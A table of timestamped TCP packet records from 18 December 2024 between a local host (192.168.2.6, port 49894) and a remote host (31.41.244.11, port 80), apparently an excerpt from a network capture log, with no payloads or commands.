Dec 18, 2024 11:09:19.258574963 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.260349989 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.260404110 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.260417938 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.260459900 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.261452913 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.261513948 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.261528015 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.261562109 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.262778997 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.262831926 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.262836933 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.262870073 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.264178038 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.264234066 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.264270067 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.264312983 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.265605927 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.265652895 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.265758038 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.265795946 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.267035961 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.267059088 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.267072916 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.267093897 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.268435955 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.268471003 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.268529892 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.268631935 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.269906044 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.269942045 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.269985914 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.270019054 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.271342993 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.271394014 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.271394968 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.271428108 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.272757053 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.272804976 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.272829056 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.272864103 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.274276972 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.274329901 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.274398088 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.274437904 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.275614023 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.275657892 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.275710106 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.275749922 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.277079105 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.277118921 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.277184963 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.277224064 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.278570890 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.278610945 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.278614044 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.278645992 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.279870987 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.279911995 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.279983997 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.280021906 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.281383038 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.281424999 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.281454086 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.281491041 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.282756090 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.282799006 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.282802105 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.282839060 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.284228086 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.284267902 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.284313917 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.284349918 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.285621881 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.285665989 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.405729055 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.405824900 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.405839920 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.405886889 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.406183004 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.406225920 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.406286955 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.406327009 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.407393932 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.407433987 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.407500982 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.407541990 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.408579111 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.408626080 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.408668995 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.408708096 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.409826994 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.409874916 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.410015106 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.410056114 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.411020041 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.411066055 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.411107063 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.411144018 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.412276030 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.412319899 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.412362099 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.412401915 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.413495064 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.413541079 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.413650036 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.413688898 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.414721966 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.414768934 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.414808035 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.414850950 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.415930986 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.415982008 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.416023016 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.416063070 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.417180061 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.417222977 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.417272091 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.417315006 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.418395042 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.418443918 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.418513060 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.418551922 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.419621944 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.419666052 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.419682980 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.419722080 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.420811892 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.420857906 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.420957088 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.420999050 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.422035933 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.422079086 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.422123909 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.422163010 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.423324108 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.423360109 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.423376083 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.423398972 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.424484015 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.424530029 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.424618959 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.424659014 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.425745010 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.425795078 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.425838947 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.425880909 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.426944971 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.426992893 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.427089930 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.427129030 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.428195953 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.428244114 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.428313017 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.428353071 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.429454088 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.429466963 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.429502010 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.430615902 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.430669069 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.430696011 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.430737972 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.431904078 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.431950092 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.432064056 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.432106972 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.433115005 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.433165073 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.433199883 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.433238983 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.434308052 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.434353113 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.434386015 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.434427023 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.435627937 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.435673952 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.435676098 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.435709000 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.436793089 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.436836958 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.437020063 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.437062025 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.438020945 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.438060045 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.438106060 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.438148975 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.439212084 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.439254999 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.439300060 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.439338923 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.440571070 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.440582991 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.440613985 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.440659046 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.442033052 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.442106962 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.442140102 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.442181110 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.442872047 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.442918062 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.442985058 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.443027020 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.444138050 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.444181919 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.444293976 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.444336891 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.445382118 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.445429087 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.447861910 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.447891951 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.447902918 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.447912931 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.447916031 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.447932005 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.447958946 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.448132992 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.448173046 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.449095011 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.449141026 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.449389935 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.449430943 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.450361013 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.450408936 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.450589895 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.450630903 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.451559067 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.451601028 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.451608896 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.451653004 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.452748060 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.452794075 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.452830076 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.452872038 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.453986883 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.454078913 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.454138041 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.454184055 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.455358982 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.455409050 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.455435038 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.455471039 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.456399918 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.456444979 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.456480980 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.456521034 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.457914114 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.457926035 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.457966089 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.458837986 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.458883047 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.458931923 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.458971977 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.460088015 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.460131884 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.460201979 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.460242033 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.461363077 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.461405993 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.461569071 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.461606026 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.462565899 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.462610960 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.462713003 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.462754965 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.463747978 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.463794947 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.463825941 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.463864088 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.464999914 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.465039968 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.465150118 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.465188980 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.466464996 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.466511965 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.466536045 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.466579914 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.467478991 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.467520952 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.467545986 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.467587948 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.468725920 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.468770027 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.468852997 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.468897104 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.470046043 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.470089912 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.596579075 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.596636057 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.596641064 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.596687078 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.597124100 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.597168922 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.597218037 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.597263098 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.598290920 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.598337889 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.598778009 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.598824978 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.598882914 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.598922968 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.600009918 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.600055933 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.600116014 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.600158930 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.601147890 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.601188898 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.601254940 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.601295948 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.602327108 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.602369070 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.602401972 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.602443933 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.603576899 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.603709936 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.603719950 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.603746891 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.604758978 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.604800940 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.604866028 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.604907036 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.605950117 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.605995893 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.606144905 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.606189013 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.607213020 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.607260942 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.607279062 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.607336998 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.608392000 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.608441114 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.608462095 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.608506918 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.609633923 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.609680891 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.609726906 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.609771013 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.610918999 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.610981941 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.611063957 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.611110926 CET	49894	80	192.168.2.6	31.41.244.11
